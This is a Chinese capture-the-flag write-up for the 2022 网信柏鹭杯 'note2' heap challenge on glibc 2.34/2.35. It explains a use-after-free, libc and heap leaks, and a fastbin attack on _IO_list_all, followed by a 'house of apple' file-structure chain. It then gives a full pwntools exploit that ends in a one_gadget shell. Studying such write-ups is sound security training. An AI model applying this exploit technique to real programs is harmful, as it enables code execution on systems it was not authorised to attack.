2022 网信柏鹭杯 pwn2 note2
因2.34之后取消了malloc,free hook这两个在堆pwn中用的最多的hook,roderick师傅分享的house of apple学习了一下,是一个非常好用的调用链,包括house of emma, house of kiwi, house of banana, house of pig, house of cat都是极好的调用链,前天的网信柏鹭杯里的pwn2是2.35的,笔者学完apple之后这里拿的2.34做的,只需要改偏移就可以打通2.35的
漏洞点一个uaf
首先泄露出libc,和堆地址,填满tcache,就可以泄露出libc和heap了
因为要打io所以需要劫持一下io_list_all
这里笔者考虑的是fastbin attack,所以再一次填满了tcache,接着利用fastbin attack,将_IO_list_all
劫持到堆上
接着就是house of apple了,移步roderick师傅的house of apple2详解,和2.24对vtable的绕过相似,笔者详细写过IO_FILE-2.24对vtable检测绕过、babyprintf、house of orange
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './note2'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = '> '
def add(index, size, content):
r.sendlineafter(menu, '1')
r.sendlineafter(menu, str(index))
r.sendlineafter(menu, str(size))
r.sendlineafter('Enter content: ', content)
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter(menu, str(index))
def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter(menu, str(index))
for i in range(8):
add(i, 0x80, 'aaaa')
add(8, 0x80, 'bbbb')
for i in range(8):
delete(i)
show(7)
unsortedbin_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('unsortedbin_addr = ' + hex(unsortedbin_addr))
libc = ELF('./libc.so.6')
libc_base = unsortedbin_addr - 0x1f2cc0
li('libc_base ' + hex(libc_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
li('_IO_list_all = ' + hex(_IO_list_all))
show(0)
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))
system_addr = libc_base + libc.sym['system']
for i in range(8):
add(i, 0x80, 'aaaa')
for i in range(8):
add(i, 0x70, 'aaaa')
add(8, 0x70, 'aaaa')
for i in range(8):
delete(i)
delete(8)
delete(7)
for i in range(7):
add(i, 0x70, 'aaaa')
p1 = p64(key ^ _IO_list_all)
add(0, 0x70, p1)
add(1, 0x70, 'aaa')
add(2, 0x70, 'aaa')
target_addr = heap_base + 0xc30
add(0, 0x70, p64(target_addr))
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
li('_IO_wfile_jumps = ' + hex(_IO_wfile_jumps))
p2 = b'\x00'
p2 = p2.ljust(0x28, b'\x00') + p64(1)
p2 = p2.ljust(0xa0, b'\x00') + p64(target_addr + 0xe0)
p2 = p2.ljust(0xd8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xe0 + 0xe0, b'\x00') + p64(target_addr + 0x210)
add(1, 0x200, p2)
one = [0xda7c1, 0xda7c4, 0xda7c8]
one_gadget = one[0] + libc_base
p3 = b'\x00'
p3 = p3.ljust(0x68, b'\x00') + p64(one_gadget)
add(2, 0x200, p3)
r.sendlineafter(menu, '4')
r.interactive()